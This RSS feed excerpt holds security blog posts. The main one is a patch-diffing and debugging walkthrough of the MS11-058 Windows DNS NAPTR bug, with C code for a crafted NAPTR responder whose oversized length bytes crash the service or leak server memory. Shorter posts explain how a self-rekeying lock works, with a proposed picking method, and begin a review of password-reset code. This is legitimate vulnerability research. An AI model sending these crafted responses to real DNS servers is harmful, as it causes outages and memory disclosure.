<li>A (character string) is a one-byte length followed by up to 255 characters - essentially, a length-prefixed string</li>
<li>A (domain name) is a series of character strings, terminated by an empty character string (simply a length of \x00 and no data - effectively a null terminator)</li>
</ul>
<p>Remember those definitions - they're going to be important. </p>
<h2>You will need...</h2>
<p>All right, if you plan to follow along, you're going to definitely need the vulnerable version of dns.exe. Grab c:\windows\system32\dns.exe off an unpatched Windows Server 2008 x86 (32-bit) host. If you want to take a look at the patched version, grab the executable from a patched host. I usually name them something obvious:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-00-files.png'></p>
<p>Right-click on the files and select 'properties' and pick the 'details' tab to ensure you're working from the same version as me:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-01-versions.png'></p>
<p>You will also need IDA, Patchdiff2, and Windbg. And a Windows Server 2008 32-bit box with DNS installed and recursion enabled. If you want to get all that going, you're on your own. :)</p>
<p>You'll also need a NAPTR server. You can use my nbtool program for that - see below for instructions. </p>
<h2>Disassemble</h2>
<p>Load up both files in their own instances of IDA, hit 'Ok' or 'Next' until it disassembles them, and press 'space' when the graph view comes up to go back to the list view. Then close and save the patched one. In the vulnerable version, run <a href='http://code.google.com/p/patchdiff2/'>patchdiff2</a>:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-05-patchdiff2.png'></p>
<p>And pick the .idb file belonging to the patched version of dns.exe. After processing, you should get output something like this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-06-patchdiff2-output.png'></p>
<p>There are two things to note here. First, at the bottom, in the status pane, you get a listing of the functions that are "identical", matched, and unmatched. Identical functions are ones that patchdiff2 has decided are unchanged (even when that's not true, as we'll see shortly); matched functions are ones that patchdiff2 thinks are the same function in both files, but have changed in a significant way; and unmatched functions are ones that patchdiff2 can't find a match for. </p>
<p>You'll see that in ms11-058, it found 1611 identical functions and that's it. Oops?</p>
<p>If you take a look at the top half of the image, it's a listing of the identical functions. I sorted it by the CRC column, which prints a '+' when the CRC of the patched and unpatched versions of a function differ. And look at that - there are four not-so-identical functions! </p>
<p>The obvious function in this bunch to take a closer look at is NaptrWireRead(). Why? Because we know the vulnerability is in NAPTR records, so it's a sensible choice! </p>
<p>At this point, I closed IDA and re-opened the .exe files rather than leaving patchdiff2 running. </p>
<p>So, go ahead now and bring up NaptrWireRead() in both the unpatched and patched versions. You can use shift-F4 to bring up the 'Names' window and find it there. It should look like this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-07-comparison.png'></p>
<p>Scroll around and see you can see where these functions vary. It's not as easy as you'd think! There's only one line different, and I actually missed it the first time:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-08-difference.png'></p>
<p>Line 0x01038b38 and 0x01038bd8 are different! One uses movsx and one uses movzx. Hmm! What's that mean?</p>
<p>movsx means "move this byte value into this dword value, and extend the sign". movzx means "move this byte value into this dword value, and ignore the sign". Basically, a signed vs unsigned value. For the bytes 0x00 to 0x7F, this doesn't matter. For 0x80 to 0xFF, it matters a lot. That can be demonstrated by the following operation:</p>
<pre>movsx edi, 0x7F
movsx esi, 0x80

movzx edi, 0x7F
movzx esi, 0x80</pre>
<p>In the first part, you'll end up with edi = 0x0000007F, as expected, but esi will be 0xFFFFFF80. In the second part, esi will be 0x0000007F and edi will be 0x00000080. Why? For more information, look up "two's complement" on Wikipedia. But the simple answer is, 0x80 is the signed value of -128 and the unsigned value of 128. 0xFFFFFF80 is also -128 (signed), and 0x00000080 is 128 (unsigned). So if 0x80 is signed, it takes the 32-bit signed value (-128 = 0xFFFFFF80); if 0x80 is unsigned, it takes the 32-bit unsigned value (128 = 0x00000080). Hopefully that makes a little sense! </p>
<h2>Setting up and testing NAPTR</h2>
<p>Moving on, we want to do some testing. I set up a fake NAPTR server and I set up the Windows Server to recurse to my fake NAPTR server. If you want to do that yourself, one way is grab the sourcecode for <a href='http://www.skullsecurity.org/wiki/index.php/Nbtool'>nbtool</a> and apply <a href='/blogdata/dns-naptr.diff'>this patch</a>. You'll have to fiddle in the sourcecode, though, and it may be a little tricky.  </p>
<p>You can also use any DNS server that allows a NAPTR record. We aren't actually sending anything broken, so any DNS server you know how to set up should work just fine. </p>
<p>Basically, I use the following code to build the NAPTR resource record:</p>
<pre>
<span class="Type">char</span> *flags   = <span class="Constant">&quot;flags&quot;</span>;
<span class="Type">char</span> *service  = <span class="Constant">&quot;service&quot;</span>;
<span class="Type">char</span> *regex   = <span class="Constant">&quot;this is a really really long but still technically valid regex&quot;</span>;
<span class="Type">char</span> *replace = <span class="Constant">&quot;this.is.the.replacement.com&quot;</span>;

answer = buffer_create(BO_BIG_ENDIAN);
buffer_add_dns_name(answer, this_question.name); <span class="Comment">/*</span><span class="Comment"> Question. </span><span class="Comment">*/</span>

buffer_add_int16(answer, DNS_TYPE_NAPTR); <span class="Comment">/*</span><span class="Comment"> Type. </span><span class="Comment">*/</span>
buffer_add_int16(answer, this_question.class); <span class="Comment">/*</span><span class="Comment"> Class. </span><span class="Comment">*/</span>
buffer_add_int32(answer, settings-&gt;TTL);
buffer_add_int16(answer, <span class="Constant">2</span> +                   <span class="Comment">/*</span><span class="Comment"> Length. </span><span class="Comment">*/</span>
                         <span class="Constant">2</span> +
                         <span class="Constant">1</span> + strlen(flags) +
                         <span class="Constant">1</span> + strlen(service) +
                         <span class="Constant">1</span> + strlen(regex) +
                         <span class="Constant">2</span> + strlen(replace));

buffer_add_int16(answer, <span class="Constant">0x0064</span>); <span class="Comment">/*</span><span class="Comment"> Order. </span><span class="Comment">*/</span>
buffer_add_int16(answer, <span class="Constant">0x000b</span>); <span class="Comment">/*</span><span class="Comment"> Preference. </span><span class="Comment">*/</span>

buffer_add_int8(answer, strlen(flags)); <span class="Comment">/*</span><span class="Comment"> Flags. </span><span class="Comment">*/</span>
buffer_add_string(answer, flags);

buffer_add_int8(answer, strlen(service)); <span class="Comment">/*</span><span class="Comment"> Service. </span><span class="Comment">*/</span>
buffer_add_string(answer, service);

buffer_add_int8(answer, strlen(regex)); <span class="Comment">/*</span><span class="Comment"> Regex. </span><span class="Comment">*/</span>
buffer_add_string(answer, regex);

buffer_add_dns_name(answer, replace);
answer_string = buffer_create_string_and_destroy(answer, &amp;answer_length);

dns_add_answer_RAW(response, answer_string, answer_length);
</pre>
<p>It's not pretty, but it did the trick. After that, I compile it and run it. At this point, it'll simply start a server that waits for NAPTR requests and respond with a static packet no matter what the request was. </p>
<h2>Debugger</h2>
<p>Now, we fire up Windbg. If you ever use Windbg for debugging, make sure you check out <a href='http://Windbg.info'>Windbg.info</a> - it's an amazing resource. </p>
<p>When Windbg loads, we hit F6 (or go to file-&gt;attach to process). We find dns.exe in the list and select it:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-11-attach.png'></p>
<p>Once that's fired up, I run !peb to get the base address of the process (there are, of course, other ways to do this). The command should look like this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-12-base-address.png'></p>
<p>Back in IDA, rebase the program by using edit-&gt;segments-&gt;rebase program, and set the image base address to 0x00ea0000:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-13-change-base-address.png'><br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-14-change-base-address-2.png'></p>
<p>This way, the addresses in Windbg and IDA will match up properly. Now, go back to that movsx we were looking at earlier - it should now be at 0x00ed8b38 in the vulnerable version. Throw a breakpoint on that address in Windbg with 'bp' and start the process with 'g' (or press F5):</p>
<pre>
  &gt; bp ed8b38
  &gt; g
</pre>
<p>Then perform a lookup on the target server (in my case I'm doing this from a Linux host using the dig command, and my vulnerable DNS server is at 192.168.1.104):</p>
<pre>
  $ dig @192.168.1.104 -t NAPTR +time=60 test.com
</pre>
<p>(the +time=60 ensures that it doesn't time out right away)</p>
<p>In Windbg, the breakpoint should fire:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-16-dig.png'></p>
<p>Now, recall that the vulnerable command is this:</p>
<pre>
  movsx edi, byte ptr [ebx]
</pre>
<p>So we'd naturally like to find out what's in ebx. We do this with the windbg command 'db ebx' (meaning display bytes at ebx):<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-18-bytes.png'></p>
<p>Beautiful! ebx points to the length byte for 'flags'. In our case, we set the flags to the string 'flags', which is represented as the character string "\x05flags" (where "\x05" is the byte '5', the string's size). If we hit 'g' or press 'F5' again, it'll break a second time. This time, if you run 'db ebx' you'll see it sitting on "\x07service". If you hit F5 again, not surprisingly, you'll end up on "\x3ethis is a really really long ...". And finally, if you hit F5 one more time, the program will keep running and, if you did this in under 60 seconds, dig will get its response.</p>
<p>So what have we learned? The vulnerable call to movsx happens three times - on the one-byte size values of flags, service, and regex. </p>
<h2>Let's break something!</h2>
<p>All right, now that we know what's going on, this should be pretty easy to break! Yay! Let's try sending it a string that's over 0x80 bytes long:</p>
<pre>
        <span class="Type">char</span> *flags   = <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>;
        <span class="Type">char</span> *service  = <span class="Constant">&quot;service&quot;</span>;
        <span class="Type">char</span> *regex   = <span class="Constant">&quot;regex&quot;</span>;
        <span class="Type">char</span> *replace = <span class="Constant">&quot;my.test.com&quot;</span>;
</pre>
<p>Then compile it, start the service again, and send our NAPTR lookup with dig, exactly as before. Don't forget to clear your breakpoints in Windbg, too, using 'bc *' (breakpoint clear, all). </p>
<p>After the lookup, the dns.exe service should crash:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-22-crash.png'></p>
<p>Woohoo! It crashed in a 'rep movs' call, which is in memcpy(). No surprise there, since we were expecting to pass a huge integer (0x90 became 0xFFFFFF90, which is around 4.2 billion) to a memcpy function. </p>
<p>If we check out edi (the destination of the copy), we'll find it's unallocated memory, which is what caused the crash. If we check out ecx, the size of the copy, we'll see that it's 0x3fffff6e - way too big:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-23-crash-reason.png'> </p>
<p>Restart the DNS service, re-attach the debugger, and let's move on to something interesting... </p>
<h2>The good part</h2>
<p>Now we can crash the process. Kinda cool, but whatever. This is as far as others investigating this issue seemed to go. But, they missed something very important:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-24-plus-one.png'></p>
<p>See there? Line 0x00ed8b3b? lea eax, [edi + 1]. edi is the size, and eax is the value passed to memcpy. See what's happening? It's adding 1 to the size! That means that if we pass a size of 0xFF ("-1" represented as one byte), it'll get extended to 0xFFFFFFFF ("-1" represented as 4 bytes), and then, on that line, eax becomes -1 + 1, or 0. Then the memcpy copies 0 bytes. </p>
<p>That's great, but what's that mean?</p>
<p>Let's reconfigure out NAPTR server again to return exactly 0xFF bytes:</p>
<pre>
        <span class="Type">char</span> *flags   = <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>;
        <span class="Type">char</span> *service  = <span class="Constant">&quot;service&quot;</span>;
        <span class="Type">char</span> *regex   = <span class="Constant">&quot;regex&quot;</span>;
        <span class="Type">char</span> *replace = <span class="Constant">&quot;my.test.com&quot;</span>;
</pre>
<p>Then run it as before. This time, when we do our dig, the server doesn't crash! Instead, we get a weird response:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-26-test-run.png'></p>
<p>We get an answer back, but not a valid NAPTR answer! The answer has the flags of "\x03\x02my\x04test\x03com", but no service, regex, or replace. Weird! </p>
<p>Now, at this point, we have enough for a vulnerability check, but I wanted to go further, and to find out how exactly this was returning such a weird result (and, more importantly, whether we can assume that it'll be consistent)! </p>
<p>So, let's take a look at the vulnerable code again. Go back to NaptrPtrRead() and find the vulnerable movsx:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-27-vuln-loop.png'></p>
<p>You can quickly see that this is a simple loop. var_10C is a counter set to 3, the size at [ebx] (the length of the flags) is read, that many bytes is copied from ebx (the incoming packet) to esi (the place where the answer is stored). Then the counter is decremented, and both the source and destination are moved forward by that many bytes plus one (for the length), and it repeats twice - once for service, and once for regex. </p>
<p>If we set the length of flags to 0xFF, then 0 bytes are copied and the source and destination don't change. So esi, the answer, remains an empty buffer. </p>
<p>Just below that, you'll see this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-28-next-part.png'></p>
<p>The source and destination are the same as before, and they call a function called _Name_CopyCountName(). That's actually a fairly complicated function, and I didn't reverse it much. I just observed how it worked. One thing that was obvious is that it read the fourth and final string in the NAPTR record - the one called "replacement", which is a domain name rather than a length-prefixed string like the rest. </p>
<p>Essentially, it'd set esi to a string that looked like this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-29-memory.png'></p>
<p>the 0x0d at the start is obviously the length of the string; the 0x03 following is the number of fields coming ("my", "test", and "com" = 3 fields), and the rest of the string is the domain name formatted as it usually is - the size of each field followed by the field. </p>
<p>Another interesting note is, this is the exact value that the DNS request got earlier (minus the 0x0d at the start) - "\x03\x02my\x04test\x03com"! </p>
<p>At this point, I understood exactly what was happening. As we've seen, there are supposed to be four strings - flags, service, regex, and replacement. The first three are (character-string) values, and are all read the same way. The last one is a (domain-name) value, and is read using _Name_CopyCountName(). </p>
<p>When we send a length of 0xFF, the first three strings don't get read - the buffer stays blank - and only the domain name is processed properly. Then, later, when the strings are sent back to the server, it expects the 'flags' value to be the first value in the buffer, but, because it read 0 bytes for flags, it skips flags and reads the 'replacement' value - the (domain-name) - as if it were flags. That gets returned and it reads the 'service', the 'regex', and the 'replacement' fields - all of which are blank. </p>
<p>The response is sent to the server with the 'flags' value set to the 'replacement' and everything else set to blank. Done?</p>
<h2>The plot thickens</h2>
<p>I thought I understood this vulnerability completely now. It was interesting, fairly trivial to check for, and impossible to exploit (beyond a denial of service). The perfect vulnerability! I wrote the Nessus check and tested it again Windows 2008 x86, Windows 2008 x64, and Windows 2008 R2 x64. Against Windows 2008 x64, the result was different - it was "\x03\x02my\x04test\x03com\x00\x00\x00\x00". That was weird. I tried changing the domain name from "my.test.com" to "my.test.com.a". It returned the string I expected. Then I set it to "my.test.com.a.b.c", and it returned a big block of memory including disk information (the drive c: label). Wtf? I tried a few more domain names, and none of them, including "my.test.com.a.b.c", returned anything unusual. I couldn't replicate it! Now I *knew* that something was up! </p>
<p>To demonstrate this reliably, I can set the 'replacement' value of the response to 'my.test.com.aaaaaaaaaaaaa' and get the proper response:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-30-weird-results-1.png'></p>
<p>And then set it to 'my.test.com.aaaaaaa' and get a weird response:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-33-weird-results-4.png'></p>
<p>Rather than just the simple string we usually get back, we got the simple string, the 7 'a' bytes that we added, then a null, then 11 more 'a' values and 0x59 "\x00" bytes. So, that's proof that something strange is happening, but what?</p>
<h2>The investigation</h2>
<p>If you head back to the NaprWireRead function and go to line 0xed8b61, you'll see the call to _Name_CopyCountName():<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-34-read.png'></p>
<p>That's where the string is copied into the buffer - esi. What we want to do is track down where that value is read back out of the buffer, because there's obviously something gone amiss there. So, we put a breakpoint at 0xed8b66 - the line after the name is copied to memory - using the 'bp' command in Windbg:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-35-break.png'></p>
<p>Then we run it, and make a NAPTR request. It doesn't matter what the request is, this time - we just want to find out where the message is read. When it breaks, as shown above, we check what the value at esi is. As expected, it's the encoded 'replacement' string - the length, the number of fields, and the replacement (domain-name) value. </p>
<p>We run 'ba r4 esi' - this sets a breakpoint on access when esi (or the three bytes after esi) are read. Then we use 'g' or 'F5' to start the process once again. </p>
<p>Immediately, it'll break again - this time, at 0xed5935 - in NaptrWireWrite()! Since the packet is read in NaptrWireRead(), it makes sense that it's sent back out in NaptrWireWrite. Awesome! </p>
<p>The code powering NaptrWireWrite() is actually really simple. This is all the relevant code (don't worry too much about the colours - I just like colouring code as I figure things out :) ):<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-37-write_loop.png'></p>
<p>Here, it reads the length of the first field from [esi] - which, in our 'attack', is the length of the 'replacement' value, not the flags value like it ought to be. It uses memcpy to copy that into a buffer, using the user-controlled length. then it loops. The second time, it's going to read the null byte (\x00) that's immediately after the 'replacement' value. The third time, it's going to read the byte following that null byte. What's there? We'll get to that in a second. </p>
<p>Then, after it loops three times, it calls _Name_WriteCountNameToPacketEx(), passing it the remainder of the buffer. Again, what's that value?</p>
<p>Let's stick a breakpoint on 0xed5935 - the memcpy - and see what the three values are. First, for 'my.test.com.aaaaaaa':<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-38-my.test.com.aaaaaaaaaaa.png'></p>
<p>As we can see, the first field is, as expected, the 'replacement' value - my.test.com.aaaaaaaaaaa. The second value is blank, and the third value is blank. The result is going to be the usual "\x03\x02my\x04test\x03com". No problem! Now let's do a lookup for "my.test.com.a":<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-39-badmemory.png'></p>
<p>The first one is, as usual, the 'replacement' value. The second memcpy starts with the 0x00 byte at the end, and copies 0 bytes. But the third one starts on 0x61 - that's one of the 'a' values from the previous packet! - and copies 0x61 bytes into the buffer. Then _Name_WriteCountNameToPacketEx() is called 0x61 bytes after on whatever happens to be there. </p>
<h2>What's it all mean?</h2>
<p>What's this mean? And why should we care?</p>
<p>Well, it turns out that this vulnerability, in spite of its original innocuous appearance, is actually very interesting. We can pass 100% user-controlled values into memcpy - unfortunately, it's a one-byte size value. Additionally, we can pass 100% user-controlled values into a complicated function that does a bunch of pointer arithmatic - _Name_WriteCountNameToPacketEx()! I reversed that full function, but I couldn't see any obvious points where I could gain control. </p>
<p>Given enough time and thought, though, I'm reasonably confident that you can turn this into a standard heap overflow. A heap overflow on Windows 2008 would be difficult to exploit, though. But there are some other quirks that may help - _Name_WriteCountNameToPacketEx() does some interesting operations, like collapsing matching domain names into pointers - 'c0 0c' will look familiar if you've ever worked with DNS before. </p>
<p>So, is this exploitable? I'm not sure. Is it definitely NOT exploitable? I wouldn't say so. When you can start passing user-controlled values into functions that expect tightly-controlled pointer values, that's when the fun starts. :)</p>
<h2>Conclusion</h2>
<p>I hope you were able to follow along, and I hope that the real exploit devs out there read this and can take it a step further. I'd be very interested in whether this vulnerability can be taken to the next level! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Locks that can re-key themselves?</title>
		<link>http://www.skullsecurity.org/blog/2011/locks-that-can-re-key-themselves</link>
		<comments>http://www.skullsecurity.org/blog/2011/locks-that-can-re-key-themselves#comments</comments>
		<pubDate>Wed, 20 Apr 2011 13:56:55 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1134</guid>
		<description><![CDATA[Hey everybody, As I'm sure you all know, I normally post about IT security here. But, once in awhile, I like to take a look at physical security, even if it's just in jest. Well, this time it isn't in jest. I was at Rona last week buying a lead/asbestos/mold-rated respirator (don't ask!), when I [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody,</p>
<p>As I'm sure you all know, I normally post about IT security here. But, once in awhile, I like to take a look at <a href='http://www.skullsecurity.org/blog/2009/two-locks-one-bike'>physical security</a>, even if it's just in jest. </p>
<p>Well, this time it isn't in jest. I was at Rona last week buying a lead/asbestos/mold-rated respirator (don't ask!), when I took a walk down the lock aisle. I'm tired of all my practice locks and was thinking of picking up something interesting. Then I saw it: a lock that advertised that it could re-key itself to any key. Woah! I had to play with it. </p>
<p>Now, maybe I'm an idiot (in fact, my best friends would swear it). But I hadn't ever heard of a lock that can do that before! So I did the obvious thing: I bought it, took it apart, figured out how it worked, then took pictures of everything. </p>
<h2>How it's used</h2>
<p>So, in normal use, this is what you do. </p>
<p>When you take it out of the package, it looks like a normal lock with an extra little hole in the side:<br />
<a href='/blogdata/rekey_1.jpg'><img src='/blogdata/rekey_1_small.jpg'></a></p>
<p>You stick in the proper key, turn it a 1/4 turn (so the key is horizontal), as shown here:<br />
<a href='/blogdata/rekey_2.jpg'><img src='/blogdata/rekey_2_small.jpg'></a></p>
<p>Then, in the little hole, you use the special "re-key" tool that it comes with:<br />
<a href='/blogdata/rekey_3.jpg'><img src='/blogdata/rekey_3_small.jpg'></a></p>
<p>Once the tool's been inserted, you can pull out the key:<br />
<a href='/blogdata/rekey_4.jpg'><img src='/blogdata/rekey_4_small.jpg'></a></p>
<p>At this point, the lock is in "re-key mode". I'll talk about how it works later, but you can now insert any key that matches the warding:<br />
<a href='/blogdata/rekey_5.jpg'><img src='/blogdata/rekey_5_small.jpg'></a></p>
<p>Turn it back to the original position:<br />
<a href='/blogdata/rekey_6.jpg'><img src='/blogdata/rekey_6_small.jpg'></a></p>
<p>And remove it:<br />
<a href='/blogdata/rekey_7.jpg'><img src='/blogdata/rekey_7_small.jpg'></a></p>
<p>Congratulations! The lock is now keyed to the new key instead of the old key. How the hell did that happen!?</p>
<h2>Vocabulary</h2>
<p>Just some quick definitions to help you follow (I'm stealing phrases from normal locks that shouldn't really apply to this one, but it's convenient):</p>
<p><strong>Key pins</strong> are the pins that touch the key</p>
<p><strong>Driver pins</strong> are the pins (in this case, with a saw-tooth) that don't touch the key</p>
<p><strong>Key cylinder</strong> is the half of the cylinder that you insert the key into (and that houses the key pins)</p>
<p><strong>Loose cylinder</strong> is the other half of the cylinder that I couldn't think of a good name for</p>
<p><strong>The bar</strong> is an oddly shaped metal bar that fits into the loose cylinder. </p>
<h2>How it works</h2>
<p>Naturally, the next thing I did was take the lock apart. As soon as I removed a couple bits that held it together, the whole cylinder slid out, fell on my desk, and all the little pieces went everywhere. An hour later, I got it re-assembled and working again, and this is what it looked like:<br />
<a href='/blogdata/rekey_8.jpg'><img src='/blogdata/rekey_8_small.jpg'></a><br />
Don't forget, you can click on the pictures for a bigger version! </p>
<p>Anyway, there are actually two half-cylinders (that I'm calling the key cylinder and the loose cylinder) held together by simply being in the lock, plus the bar across the back of one, 5 loose driver pins on the inside, and 5 key pins that can't easily be removed. </p>
<p><a href='/blogdata/rekey_9.jpg'><img src='/blogdata/rekey_9_small.jpg'></a></p>
<p>In that picture, there are two important details that I called out. First, the slot in the bottom of the loose cylinder fits into the '- - - - -' on the key cylinder. Second, the jagged part of the driver pins fits on a little hook on the key pins. Those two facts are important both for the re-key and the locking. </p>
<p>Here's a closeup of what I'm calling the driver pins:<br />
<a href='/blogdata/rekey_10.jpg'><img src='/blogdata/rekey_10_small.jpg'></a></p>
<p>Note that they have two grooves, one on the front and one on the back (for the purposes of the narrative, the front is on the right). The groove on the front, as we saw earlier, fits into the '- - - - -' pattern on the key cylinder. The groove on the back fits into the bar, shown above, that goes onto the back of the loose cylinder. </p>
<h2>Re-keying</h2>
<p>So let's look at how the re-key mechanism work! </p>
<p>First, recall that the driver pins have a groove that fits into a '- - - - -' on the lock:<br />
<a href='/blogdata/rekey_11.jpg'><img src='/blogdata/rekey_11_small.jpg'></a></p>
<p>In normal use, these pins freely move up and down beside the '-' marks. They're pulled up and down by the little hooks on the key pins. When the proper key is inserted, the grooves on all five pins will line up with (but DON'T hook onto) the five '-' marks:<br />
<a href='/blogdata/rekey_16.jpg'><img src='/blogdata/rekey_16_small.jpg'></a></p>
<p>Then the re-key tool is inserted:<br />
<a href='/blogdata/rekey_13.jpg'><img src='/blogdata/rekey_13_small.jpg'></a><a href='/blogdata/rekey_12.jpg'><img src='/blogdata/rekey_12_small.jpg'></a></p>
<p>This slides the groove on the driver pins onto the '-' marks. Not that this <strong>cannot happen</strong> if the key is the wrong one. That's an important part of the security. Here's what it looks like if the loose cylinder is removed (I only did two pins because setting this up is like balancing a coin on its side):<br />
<a href='/blogdata/rekey_17.jpg'><img src='/blogdata/rekey_17_small.jpg'></a></p>
<p>When you remove the key, the driver pins will rest in the "good" position - that is, in the position that lets the cylinder rotate and that lets it be re-keyed - thanks to the grooves they're now sitting on. The key pins, which are no longer hooked on the driver pins, will return to their original positions. </p>
<p>When you insert a new key, the key pins will return to a new position while the driver pins are still in the "good" position (that lets you re-key/unlock). </p>
<p>When you turn the key back, the driver pins will come off the '-' marks and wind up back on the key pins' grooves. But the location of the driver pins has changed - the key that lines up all the grooves is now the new key, not the old one! </p>
<p>This design is, in my opinion, brilliant! It's pretty straight forward, now, to see how it locks. </p>
<h2>Locking</h2>
<p>Now that we know how the pins work, as I said, the locking is actually pretty straight forward. Remember that bar along the back of the removable cylinder we saw earlier?<br />
<a href='/blogdata/rekey_10.jpg'><img src='/blogdata/rekey_10_small.jpg'></a></p>
<p>Well, that's the key (ha!) to this whole thing. </p>
<p>Basically, when no key or the wrong key is inserted, it stays locked in position jutting out from the cylinder:<br />
<a href='/blogdata/rekey_14.jpg'><img src='/blogdata/rekey_14_small.jpg'></a></p>
<p>When the proper key is inserted, it can be pushed back in:<br />
<a href='/blogdata/rekey_15.jpg'><img src='/blogdata/rekey_15_small.jpg'></a></p>
<p>This is because of the groove on the backs of the pins. The bar rests on the pins but can only be pushed in when the five grooves of the five pins are in the proper place. </p>
<p>And that's it! </p>
<h2>Security</h2>
<p>Based on what I've seen, it appears that these locks can likely be picked in two different ways. The standard way, using a tension wrench, has several issues:</p>
<ul>
<li>It's difficult to get the pick into the keyway due to the warding</li>
<li>Every pin is grooved along the back so it sets improperly all over the place</li>
<li>Because the key pins pull up the driver pins, you don't get the same feeling when the pins are setting</li>
</ul>
<p>I had another idea for picking, though, that I don't have the right tool to accomplish. The standard way is to turn the cylinder and rely on it causing the bar along the back to put pressure on the pins, but the pins have a sawtooth along the back to set falsely. That's difficult. However, if we put tension on the re-key hole, then we're pushing the pins towards the back of the lock onto the '- - - - -' lines. There's no security on the sides of the pin, so, in theory, it should pick a whole lot easier. And, once you've picked it, you'll be able to re-key and never pick it again. BAM! </p>
<p>Unfortunately, you need a thin tool that can maintain a constant pressure, and I can't think of anything like that. Any ideas?</p>
<p>Hope you enjoyed this somewhat non-standard posting! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/locks-that-can-re-key-themselves/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>(Mostly) good password resets</title>
		<link>http://www.skullsecurity.org/blog/2011/mostly-good-password-resets</link>
		<comments>http://www.skullsecurity.org/blog/2011/mostly-good-password-resets#comments</comments>
		<pubDate>Thu, 24 Mar 2011 13:08:16 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1088</guid>
		<description><![CDATA[Hey everybody! This is part 3 to my 2-part series on password reset attacks (Part 1 / Part 2). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what's the RIGHT way to do this? So, here's the thing. I like to break stuff, but [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody!</p>
<p>This is part 3 to my 2-part series on password reset attacks (<a href='http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-1'>Part 1</a> / <a href='http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-2'>Part 2</a>). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what's the RIGHT way to do this?</p>
<p>So, here's the thing. I like to break stuff, but I generally leave the fixing to somebody else. It's just safer that way, since I'm not really a developer or anything like that.  Instead, I'm going to continue the trend of looking at others' implementations by looking at three major opensource projects - WordPress, SMF, and MediaWiki. Then, since all of these rely on PHP's random number implementation to some extent, I'll take a brief look at PHP. </p>
<h2>SMF</h2>
<p><a href='http://www.simplemachines.org/'>SMF</a> 1.1.13 implements the password-reset function in Sources/Subs-Auth.php:</p>
<pre>
&nbsp;&nbsp;<font color="#80a0ff">// Generate a random password.</font>
&nbsp;&nbsp;<font color="#ff80ff">require_once</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">sourcedir</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;'<font color="#ffa0a0">/Subs-Members.php</font>'<font color="#ffa500">)</font>;
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">newPassword</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;generateValidationCode<font color="#ffa500">()</font>;
